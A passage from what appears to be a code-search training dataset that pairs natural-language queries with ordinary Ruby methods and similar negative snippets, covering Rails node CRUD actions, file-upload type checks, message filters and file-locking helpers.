"def can_upload?\n klass.model_class && mime_types && mime_types.keys.include?(file_mime_type)\n end",
"def file_types\n @file_types ||= config['file_types'] || 'partial'\n end",
"def accepted_mimes\n case self.type\n when'Recording'\n '.wav,.mp3'\n when 'Document'\n '.pdf'\n when 'Image'\n '.jpeg,.jpg,.gif,.bmp,.png'\n else\n ''\n end\n end",
"def file_types?\n name == FileTypes\n end",
"def allowed_content_types\n return @allowed_content_types\n end",
"def resources_file_types\n allowed_file_types = %w[application/pdf \n image/png image/jpeg \n audio/mpeg audio/x-mpeg \n audio/mp3 audio/x-mp3 \n audio/mpeg3 audio/x-mpeg3 \n audio/mpg audio/x-mpg \n audio/x-mpegaudio]\n reject_files = false\n # check that each file has the correct file type\n if resources.attached?\n resources.attachments.each do |resource|\n unless resource.content_type.in?(allowed_file_types)\n reject_files = true # found a file with disallowed file type\n errors.add(:resources, \n \"#{resource.filename} is of the wrong file type (#{resource.content_type}).\")\n break\n end\n end\n # check if a file with disallowed file type exists\n if reject_files\n resources.purge # delete the uploaded resources\n errors.add(:resources, 'Resources must be PDFs, images (PNG, JPEG), or sound files (MP3, MPEG).')\n end\n end\n end",
"def valid_mime_types\n ACCEPTED_MIME_TYPES.values + [Decidim::Opinions::DocToMarkdown::TEXT_PLAIN_MIME_TYPE]\n end",
"def accepts_file_upload?\n true\n end",
"def upload_type\n return :manifest if file_uploads.newly_created.url_submission.count > 0\n return :files if file_uploads.newly_created.file_submission.count > 0\n :unknown\n end",
"def filetypes\n @filetypes ||= path[self.class.renderers_re].split(/\\./)[1..-1].reverse\n rescue\n []\n end",
"def file_allowed?\n @file_allowed\n end",
"def get_supported_file_types\n response = api.get(url_misc('supported-file-types'))\n response\n end",
"def validate_mime_type_inclusion(types, message: nil)\n validate_result(\n types.include?(file.mime_type),\n :mime_type_inclusion, message, types\n )\n end",
"def extension_allowed\n exten = File.extname(params[:file].original_filename)\n unless ['.xls', '.xlsx'].include?(exten)\n @file_error = flash[:error] = \"file type #{params[:file].original_filename} not allow\"\n end\n end",
"def valid_file_extensions\n # This uses the list of the content_type_allowlist and alias_content_type to translate it into texts.\n # @see locales/defaults/en.yml to learn about where this is getting the translated texts from, which is\n # used as the allow list of suffixes for file uploads.\n valid_content_types.map { |name| \".#{I18n.t(\"label_#{name}\")}\" }\n end",
"def allowed_types; end",
"def type\n result = case self.upload_content_type\n #PDF files\n when \"application/pdf\" then \"pdf\"\n #Word and Word 2007 files\n when \"application/msword\" then \"doc\"\n when \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\" then \"doc\"\n #Excel and Excel 2007 files\n when \"application/vnd.ms-excel\" then \"xls\"\n when \"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\" then \"xls\"\n #Powerpoint and Powerpoint 2007 files\n when \"application/vnd.ms-powerpoint\" then \"ppt\"\n when \"application/vnd.openxmlformats-officedocument.presentationml.presentation\" then \"ppt\"\n #Open Document Document\n when \"application/vnd.oasis.opendocument.text\" then \"odt\"\n #Open Document Presentation\n when \"application/vnd.oasis.opendocument.presentation\" then \"odp\"\n #Open Document Spreadsheet\n when \"application/vnd.oasis.opendocument.spreadsheet\" then \"ods\"\n else \"other\"\n end\n result\n end",
"def valid_file_extension?\n return false if @content_type != Rails.configuration.x.file_upload_unknown_content_type\n\n @file_extension_allowlist.include? File.extname(@original_filename).downcase\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Used specifically for show method to filter message
|
def show_message_filter
MessageFilter.new(selected_message_smsg_refno: @message.smsg_refno,
smsg_original_refno: @message.original_smsg_refno)
end
|
[
"def filter(msg)\n return msg\n end",
"def show_filter_info\n initialize_filter_set_if_needed\n @filter_set.message\n end",
"def message\n if FilteredTerm.exists?\n msg = read_attribute(:message)\n FilteredTerm.all.each do |t|\n next if msg.blank?\n begin\n msg[/#{t.term}/] = \"[FILTERED]\" \n rescue => e\n Rails.logger.warn \"Skipping filtered term: #{e}\"\n next\n end\n end\n\n return msg\n end\n\n # No filtered terms set.\n read_attribute(:message)\n end",
"def message\n if FilteredTerm.exists?\n msg = read_attribute(:message)\n FilteredTerm.all.each do |t|\n next if msg.blank? or t.term.blank?\n begin\n msg[/#{t.term}/] = \"[FILTERED]\"\n rescue => e\n Rails.logger.warn \"Skipping filtered term: #{e}\"\n next\n end\n end\n\n return msg\n end\n\n # No filtered terms set.\n read_attribute(:message)\n end",
"def handle_message_filtered\n do_nothing\n end",
"def show_message?(key)\n @show_messages.include?(key)\n end",
"def message\n FilteredTerm.apply(@message) || ''\n end",
"def show\n if params[:action] == 'show'\n Log.add_info(request, params.inspect)\n end\n\n begin\n @mail_filter = MailFilter.find(params[:id])\n rescue => evar\n end\n if @mail_filter.nil?\n render(:text => 'ERROR:' + t('msg.already_deleted', :name => MailFilter.model_name.human))\n return\n else\n if @mail_filter.mail_account.user_id != @login_user.id\n render(:text => 'ERROR:' + t('msg.need_to_be_owner'))\n return\n end\n end\n render(:action => 'show', :layout => (!request.xhr?))\n end",
"def exclude_sent\n @message.sent? and return render :show\n end",
"def unfiltered_content; end",
"def _filter_display\n @apotomo_emit_raw_view = true\n render :view => '_filters'\n end",
"def filter_text\n attributes.fetch(:filterText)\n end",
"def hide_message\n # todo - mark the message as read\n render :update do |page|\n page.visual_effect :fade, \"marketing\"\n end\n end",
"def messages(filters = {})\n @messages ||= {}\n key = filters.to_a.join\n messages!(filters) unless @messages.include? key\n @messages[key]\n end",
"def context_search_message(context_feature)\n messages = []\n unless context_feature.nil?\n messages << \"#{f_label(context_feature)} and descendants\"\n end\n unless params[:filter].blank?\n messages << \"<strong class='message'>[filter = #{h(params[:filter])}]</strong>\"\n end\n if messages.blank?\n messages << 'Showing all'\n end\n messages.join(' ') if messages.size > 0\n end",
"def all_matching_messages(response, query)\n filter_messages(all_help_messages(response), query)\n end",
"def render_msg \r\n render :text=>fbml_msg_format(params[:type],params[:msgs].split(\"####\"),{:title=>params[:title],:list=>params[:list] == \"true\"})\r\n end",
"def filter_message(text)\n #for now the words are split by a space. If any word matches with any of the popular english curse words then the word is simply replaced with an empty string\n words = text.split(\" \") #words are split by a space\n words.delete_if {|word| @profanity_words_array.include?(word)}\n text = words.join(\" \")\n end",
"def filter\n # #YELLOW\n if @event['check']['alert'] == false # rubocop:disable GuardClause\n puts 'alert disabled -- filtered event ' + [@event['client']['name'], @event['check']['name']].join(' : ')\n exit 0\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /pm/nodes POST /pm/nodes.json
|
def create
@pm_node = Pm::Node.new(pm_node_params)
respond_to do |format|
if @pm_node.save
format.html { redirect_to @pm_node, notice: 'Node was successfully created.' }
format.json { render :show, status: :created, location: @pm_node }
else
format.html { render :new }
format.json { render json: @pm_node.errors, status: :unprocessable_entity }
end
end
end
|
[
"def post_node()\n @options = {:path => '/nodes/content', :body => Megam::JSONCompat.to_json(\n=begin\n{\n \"systemprovider\" => {\n \"provider\" => {\n \"prov\" => \"chef\"\n }\n },\n \"compute\" => {\n \"ec2\" => {\n \"groups\" => \"megam\",\n \"image\" => \"ami-d783cd85\",\n \"flavor\" => \"t1.micro\"\n },\n \"access\" => {\n \"ssh-key\" => \"megam_ec2\",\n \"identity-file\" => \"~/.ssh/megam_ec2.pem\",\n \"ssh-user\" => \"ubuntu\"\n }\n },\n \"chefservice\" => {\n \"chef\" => {\n \"command\" => \"knife\",\n \"plugin\" => \"ec2 server create\",\n \"run-list\" => \"'role[opendj]'\",\n \"name\" => \"-N TestOverAll\"\n }\n }\n}\n=end\n{\"node_name\" => \"alrin.megam.co\",\"command\" => \"commands\",\"predefs\" => {\"name\" => \"rails\", \"scm\" => \"scm\", \"db\" => \"db\", \"queue\" => \"queue\"}}\n )}.merge(@options)\n\n request(\n :expects => 201,\n :method => :post,\n #:path => @options[:path],\n :body => @options[:body]\n )\n end",
"def create\n @node = Node.new(node_params)\n\n if @node.save\n render json: @node, status: :created, location: @node\n else\n render json: @node.errors, status: :unprocessable_entity\n end\n end",
"def create_node_with_props data\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n 'Content-Type' => 'application/json',\n }\n post_request 'node', data, headers\n end",
"def create\n #@server_node = ServerNode.new(params[:server_node])\n #@server_node = ServerNode.create() do |n|\n # n.name = params[:node][:name]\n\t# n.region = params[:node][:region]\n\t# n.status = params[:node][:status]\n\n #end\n\n respond_to do |format|\n if @server_node.save\n format.html { redirect_to @server_node, notice: 'Server node was successfully created.' }\n format.json { render json: @server_node, status: :created, location: @server_node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @server_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_node(to_hash)\n end",
"def nodes\r\n params = {\r\n method: :get,\r\n url: '/project/nodes',\r\n params: { prjUUID: @uuid }\r\n }\r\n @session.request(**params).perform!['nodes']\r\n end",
"def create\nputs \"===============================> create<===================================================\"\n megam_rest.post_node(to_hash)\n end",
"def nodes\r\n params = {\r\n method: :get,\r\n url: '/project/nodes',\r\n params: { prjUUID: @uuid }\r\n }\r\n @session.request(params).perform!['nodes']\r\n end",
"def create\n @map_node = Map::Node.new(params[:map_node])\n\n respond_to do |format|\n if @map_node.save\n format.html { redirect_to @map_node, notice: 'Node was successfully created.' }\n format.json { render json: @map_node, status: :created, location: @map_node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @map_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def parameterized_nodes\r\n params = {\r\n method: :get,\r\n url: '/parameters/nodes'\r\n }\r\n request(params).perform!\r\n end",
"def create\n @node_set = NodeSet.new(node_set_params)\n\n respond_to do |format|\n if @node_set.save\n format.html { redirect_to @node_set, notice: 'Node set was successfully created.' }\n format.json { render :show, status: :created, location: @node_set }\n else\n format.html { render :new }\n format.json { render json: @node_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end",
"def create\n @newnode = Newnode.new(newnode_params)\n\n respond_to do |format|\n if @newnode.save\n format.html { redirect_to @newnode, notice: 'Newnode was successfully created.' }\n format.json { render :show, status: :created, location: @newnode }\n else\n format.html { render :new }\n format.json { render json: @newnode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @compute_node = ComputeNode.new(params[:compute_node])\n\n respond_to do |format|\n if @compute_node.save\n format.html { redirect_to @compute_node, notice: 'Compute node was successfully created.' }\n format.json { render json: @compute_node, status: :created, location: @compute_node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @compute_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_nodes(name:, client: ec2, **config)\n resp = ec2.run_instances(node_config(config)).instances\n i_var_name = \"#{name}_nodes\"\n instance_attr_accessor i_var_name\n instance_variable_set(to_i_var(i_var_name), resp)\n end",
"def create\n @node_model = NodeModel.new(node_model_params)\n\n respond_to do |format|\n if @node_model.save\n format.html { redirect_to @node_model, notice: 'Node model was successfully created.' }\n format.json { render :show, status: :created, location: @node_model }\n else\n format.html { render :new }\n format.json { render json: @node_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_node!\n node.save\n end",
"def new_nodegroup(nodegroup_json)\n nodemgr_rest_call(\"POST\", \"classifier\", \"groups\", $credentials, id=\"\", nodegroup_json)\nend",
"def create\n @cpanel_node = Cpanel::Node.new(cpanel_node_params)\n\n respond_to do |format|\n if @cpanel_node.save\n format.html { redirect_to @cpanel_node, notice: 'Node was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cpanel_node }\n else\n format.html { render action: 'new' }\n format.json { render json: @cpanel_node.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PATCH/PUT /pm/nodes/1 PATCH/PUT /pm/nodes/1.json
|
def update
respond_to do |format|
if @pm_node.update(pm_node_params)
format.html { redirect_to @pm_node, notice: 'Node was successfully updated.' }
format.json { render :show, status: :ok, location: @pm_node }
else
format.html { render :edit }
format.json { render json: @pm_node.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n respond_to do |format|\n if @node_set.update(node_set_params)\n format.html { redirect_to @node_set, notice: 'Node set was successfully updated.' }\n format.json { render :show, status: :ok, location: @node_set }\n else\n format.html { render :edit }\n format.json { render json: @node_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @node.update(node_params)\n # initiate service object to process node minimum quantity requirements\n NodeOrderInitiatorService.call(node_id: @node.id)\n render json: {}, status: :ok\n else\n # bug report about the node not able to update itself\n render json: {errors: @node.errors.messages}, status: 400\n end\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @map_node = Map::Node.find(params[:id])\n\n respond_to do |format|\n if @map_node.update_attributes(params[:map_node])\n format.html { redirect_to @map_node, notice: 'Node was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @map_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @compute_node = ComputeNode.find(params[:id])\n\n respond_to do |format|\n if @compute_node.update_attributes(params[:compute_node])\n format.html { redirect_to @compute_node, notice: 'Compute node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compute_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @node_model.update(node_model_params)\n format.html { redirect_to @node_model, notice: 'Node model was successfully updated.' }\n format.json { render :show, status: :ok, location: @node_model }\n else\n format.html { render :edit }\n format.json { render json: @node_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @server_node = ServerNode.find(params[:id])\n\n respond_to do |format|\n if @server_node.update_attributes(params[:server_node])\n format.html { redirect_to @server_node, notice: 'Server node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @server_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @system_node.update(system_node_params)\n format.html { redirect_to edit_system_node_path(@system_node), notice: 'System node was successfully updated.' }\n format.json { render :show, status: :ok, location: @system_node }\n else\n format.html { render :edit }\n format.json { render json: @system_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @newnode.update(newnode_params)\n format.html { redirect_to @newnode, notice: 'Newnode was successfully updated.' }\n format.json { render :show, status: :ok, location: @newnode }\n else\n format.html { render :edit }\n format.json { render json: @newnode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find_by_name(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.scopied.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update_nodegroup(nodegroup_json, nodegroup_id)\n nodemgr_rest_call(\"POST\", \"classifier\", \"groups\", $credentials, id=nodegroup_id, nodegroup_json)\nend",
"def setNodeON(node_id)\n cm_url = APP_CONFIG['cm_ip'] + ':' + APP_CONFIG['cm_port'].to_s\n\n options = {body: {state:\"on\"}.to_json, :headers => { 'Content-Type' => 'application/json' }}\n res = HTTParty.put(cm_url+\"/resources/node/\"+ node_id, options)\n \n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @data_node.update(data_node_params)\n\t\t\t\tformat.html { redirect_to @data_node, notice: 'Data node was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @data_node }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @data_node.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @cpanel_node.update(cpanel_node_params)\n format.html { redirect_to @cpanel_node, notice: 'Node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cpanel_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task_node.update(task_node_params)\n format.html do\n redirect_to(\n task_queue_task_node_path(@task_queue, @task_node),\n notice: 'Task node was successfully updated.'\n )\n end\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @task_node.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /pm/nodes/1 DELETE /pm/nodes/1.json
|
def destroy
@pm_node.destroy
respond_to do |format|
format.html { redirect_to pm_nodes_url, notice: 'Node was successfully destroyed.' }
format.json { head :no_content }
end
end
|
[
"def delete_node(node_id)\n @options = {:path => '/nodes/#{node_id}',\n :body => Megam::JSONCompat.to_json({\"node_id\" => \"#{node_id}\"})}.merge(@options)\n\n request(\n :expects => 200,\n :method => :delete,\n #:path => @options[:path],\n :body => @options[:body]\n )\n end",
"def delete\n @client.delete_node(@node)\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_path }\n format.json { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :ok }\n end\n end",
"def delete(node_id)\n Httpu.delete(\"#{$root_url}/db/data/node/#{node_id}\")\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/\" }\n format.json { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end",
"def delete node\n end",
"def destroy\n @compute_node = ComputeNode.find(params[:id])\n @compute_node.destroy\n\n respond_to do |format|\n format.html { redirect_to compute_nodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @map_node = Map::Node.find(params[:id])\n @map_node.destroy\n\n respond_to do |format|\n format.html { redirect_to map_nodes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n n = Node.find_key(params[:id] || params[:name])\n render api_delete Node\n end",
"def destroy\n @server_node = ServerNode.find(params[:id])\n @server_node.destroy\n\n respond_to do |format|\n format.html { redirect_to server_nodes_url }\n format.json { head :no_content }\n end\n end",
"def delete_all(node)\n @nodes.delete(node)\n redis.smembers(\"cluster:nodes:#{node}\") do |jids|\n redis.multi\n redis.del(\"cluster:nodes:#{node}\")\n redis.hdel(NODES, node)\n jids.each do |jid|\n jid = JID.new(jid)\n redis.hdel(\"sessions:#{jid.bare}\", jid.resource)\n end\n redis.exec\n end\n end",
"def destroy_nodes(nodes)\n ids = nodes.map do |node|\n case node\n when Node\n node.id\n when Hash\n node[:id] || node['id']\n else\n node\n end\n end\n ids_query = ids.map { |id| \"id=#{id}\" }.join('&')\n response = @connection.lbreq(\"DELETE\", @lbmgmthost, \"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@id.to_s)}/nodes?#{ids_query}\",@lbmgmtport,@lbmgmtscheme)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^202$/)\n true\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete_node\n delete(@nodename)\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @retain_node = RetainNode.find(params[:id])\n @retain_node.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_nodes_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @gnode = Gnode.find(params[:id])\n @gnode.destroy\n\n respond_to do |format|\n format.html { redirect_to gnodes_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Update token sale ended variable Author:Aman Date: 31/10/2017 Reviewed By: Kedar
|
def update_token_sale_ended_data
sale_variable_obj = SaleGlobalVariable.sale_ended.first
sale_variable_obj.variable_data = '1'
sale_variable_obj.save!
end
|
[
"def renew_token(new_token); end",
"def update_user_token\n if is_er_us? && get_user.token && !get_user.token.current?\n get_tokenized_billing_info :subscription_id => get_user.token.subscriptionid, :order_id => get_user.id\n if @net_response.success? && @net_response.params['status'] == 'CURRENT'\n get_user.token.update_attributes :status => \"CURRENT\", :card_number => @net_response.params['cardAccountNumber'], :card_name => get_gateway.cc_code_to_cc(@net_response.params['cardType']), :card_expiration_month => @net_response.params['cardExpirationMonth'],\n :card_expiration_year => @net_response.params['cardExpirationYear'], :first_name => @net_response.params['firstName'], :last_name => @net_response.params['lastName'], :city => @net_response.params['city'], :country => @net_response.params['country'], :address1 => @net_response.params['street1'],\n :zip_code => @net_response.params['postalCode'], :state => @net_response.params['state'], :email => @net_response.params['email'], :last_updated => Time.zone.now\n else\n get_user.token.delete\n end\n end\n end",
"def reassign_tokens()\n assignment = self.grouping.assignment\n if assignment.tokens_per_day.nil?\n self.tokens = 0\n else\n self.tokens = assignment.tokens_per_day\n end\n self.save\n end",
"def update_credit_card(org_guid, token)\n end",
"def insert_update_token_details\n @token_details = Token.where(client_id: @client_id).first\n @token_details ||= Token.new(client_id: @client_id)\n\n @token_details.name = @name\n @token_details.symbol = @symbol\n @token_details.conversion_factor = @conversion_factor\n @token_details.delayed_recovery_interval = GlobalConstant::ClientToken.delayed_recovery_interval\n @token_details.stake_currency_id = @stake_currency_id\n @token_details.decimal = @stake_currency_decimal\n @token_details.preferred_display_currency_id = QuoteCurrency.details_by_symbol(GlobalConstant::QuoteCurrency.USD)[:id]\n\n @token_details.save! if @token_details.changed?\n\n KitSaasSharedCacheManagement::TokenDetails.new([@client_id]).clear\n\n success\n end",
"def refresh_access_token\n self.expires_at = Time.now + 3600 \n save\n end",
"def set_live_sale_for_client\n @client_setting[:client_setting][:token_sale_details].merge!(\n sale_start_timestamp: Time.now.to_i,\n registration_end_timestamp: (Time.now + 1.month).to_i,\n sale_end_timestamp: (Time.now + 1.month).to_i\n )\n end",
"def refreshed!(body)\n @access_token = body[:access_token]\n @expires_at = Time.now + body[:expires_in]\n end",
"def assign_token!\n assign_token\n save!\n end",
"def set_edno(ed_no)\n\t\t@doc.xpath('//tei:editionStmt/tei:edition/@n', {\"tei\" => \"http://www.tei-c.org/ns/1.0\"}).each do |node|\n puts ed_no\n node.content = ed_no \n end\n end",
"def has_token_sale_ended?\n sale_end_timestamp <= Time.now.to_i\n end",
"def update_access_token(auth)\n self.uid = auth[\"uid\"]\n self.token = auth[\"credentials\"][\"token\"]\n self.save\n end",
"def update_security_token! has_duration=20.minutes\n self.security_token = generate_security_token\n if has_duration\n self.security_token_valid_until = Time.now + has_duration\n end\n save!\n end",
"def save_resumption_token(response)\n\t\t # Get the resumption token from the parsed OAI response\n\t\t\tif response.at(\"/OAI-PMH/ListRecords/resumptionToken\")\n\t\t\t self.resumption_token = response.at(\"/OAI-PMH/ListRecords/resumptionToken\").innerText\n\t\t\telse\n\t\t\t\tself.resumption_token = \"\"\n\t\t\tend\n\n\t\t # Save the resumption token in a file\n\t\t File.open(\"resumption_token\", \"w\") {|f| f.write(resumption_token) }\n\t\t\tFile.open(\"resumption_tokens.log\", \"a\") {|f| f.write(resumption_token + \"\\n\") }\n\t\t\tputs \"Resumption token saved successfully: #{resumption_token}\"\n\t\tend",
"def renew token, secret\n update_attributes token: token, secret: secret, is_invalid: false\n end",
"def renew\n \tupdate_attibute :end_date, Date.today + 1.month\n end",
"def update_released_to_daac_date\n self.released_to_daac_date = Time.zone.now\n end",
"def access_update\n matter_people = @matter.matter_peoples.find(params[:id])\n if params[:grant_access].eql?(\"true\")\n edate = nil\n else\n edate = Time.zone.now.to_date # - 1.day # Expire the matter people's role.\n end\n matter_people.update_attribute(:end_date, edate)\n render :text => \"#{matter_people.start_date} - #{matter_people.end_date}\"\n end",
"def update_access_token(token)\n @access_token = token\n @access_token\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Returns the path to the response file
|
def response_file
@notifier_engine.response_file
end
|
[
"def file_path\n return @file_path\n end",
"def path\n metadata.fetch(:path) do\n return if request_response_pairs.empty?\n request_response_pairs.first.first.path\n end\n end",
"def responses_filepath(options)\n options[:responses_filepath] ||\n options[:questions_filepath].\n split(FILE_TYPE_REGEX).\n insert(1, \"-responses\").\n join\n end",
"def response(env)\n if not @paths.is_a?(Array)\n @config.rack_file.not_found\n else\n @paths.inject([200, {}, '']) do |sum, path|\n # Fetch the response\n item = Stapler::Asset.new(@config, path).response(env)\n\n # Add the file title\n sum[2] << \"\\n\\n\\n/***** #{path} *****/\\n\\n\\n\"\n\n if item[0] != 200\n sum[2] << \"/* [#{item[0]}] Asset problem */\\n\\n\\n\"\n else\n # Headers are merged\n sum[1].merge!(item[1])\n # Body is concatenated\n sum[2] << Stapler::Utils.response_body(item)\n end\n\n # Return the response\n sum\n end\n end\n end",
"def prepare_file_path_to_download\n folder = ::EasyManageClient.configuration(profile).download_folder\n file_extension = ::EasyManageClient.configuration(profile).file_extension\n File.join(folder, \"#{response[:reference]}.#{file_extension}\")\n end",
"def path\n @file.path\n end",
"def get_filename(response_lines)\n response_lines[0].gsub(/GET \\//, '').gsub(/\\ HTTP.*/, '')\n end",
"def respond_with(file)\n response_path = File.dirname(__FILE__) + \"/../fixtures/response/xml\"\n File.read \"#{response_path}/#{file}.xml\"\nend",
"def response_send_file(info)\n send_file(info[:file_path], response_binary_metadata(info))\n end",
"def path\n io.path\n end",
"def requested_file(request_line)\n\trequest_uri = request_line.split(\" \")[1]\n\tpath = URI.unescape(URI(request_uri).path)\n\n\tFile.join(WEB_ROOT, path)\nend",
"def server_json_path\n @app_path + \"/#{@file_name}.json\"\n end",
"def response_of_file(file)\n File.exists?(file) ? \"200\" : \"Error\"\n end",
"def response response_id\n response = build_response(http_get(\"#{@url}/templates/#{response_id}\"))\n case response\n when String then\n return response\n when Mirage::Web::FileResponse then\n return response.response.body\n end\n\n end",
"def fixture_response(filename)\n filename = filename.sub(%r{^/}, '')\n File.read(fixtures_path.join('responses', filename))\n end",
"def out_file(in_response, file_name)\n\ttarget = File.open(file_name, \"w\")\n\ttarget.write(in_response)\nend",
"def request_file(requested_line)\n requested_uri = requested_line.split(\" \")[1]\n path = URI.unescape(URI(requested_uri).path)\n\n puts \"requested_uri %% #{requested_uri}\"\n puts \"path %% #{path}\"\n\n this_is_the_full_path = File.join(ROOT, path)\n puts \"path to return %% #{this_is_the_full_path}\"\n\n this_is_the_full_path\nend",
"def file_response(req)\n response = ::Rack::Response.new\n response['Last-Modified'] = req.stat.mtime.rfc822\n file_type = mime_map.mime_type_of(req.request_path)\n\n if highlighting? and req.highlighting? then\n if file_type && (file_type != 'text/html') then\n body = highlight_contents(req, file_type)\n response['Content-Type'] = 'text/html'\n response['Content-Length'] = body.length.to_s\n response.write( body )\n return response.finish\n end\n end\n\n # fall through to a default file return\n response['Content-Type'] = file_type.to_s\n File.open( req.request_path ) do |f|\n while p = f.read( 8192 ) do\n response.write( p )\n end\n end\n return response.finish\n end",
"def output_path\n @output_path\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Adds a lock file to mark the given file as locked
|
def lock_file file
file_lock = file + ".lock"
open(file_lock, "w") {}
end
|
[
"def lock_file(file_name, &block); end",
"def write_lock\n FileUtils.touch(@lock_file)\n end",
"def lock\r\n # already locked, just increase the ref count\r\n if @lock_count > 0\r\n @lock_count += 1\r\n return\r\n end\r\n\r\n # THIS COULD BLOCK\r\n @f.flock(File::LOCK_EX)\r\n @lock_count = 1\r\n end",
"def write_lock(lock_file_path)\n lock_file = File.open(lock_file_path, 'a')\n begin\n lock_file.flock(File::LOCK_EX)\n lock_file << Time.now\n\n yield\n ensure\n lock_file.flock(File::LOCK_UN)\n end\n end",
"def lock(filespec)\n if @is_dcerouter\n run(\"touch \\\"#{filespec}.lock\\\"\")\n end\n end",
"def lock(path)\n path = path[0..-2] if path[-1..-1] == \"/\"\n Lockfile.new(path + \".lock\") { yield }\n end",
"def lock_file\n File.chmod(0000, @filename)\n end",
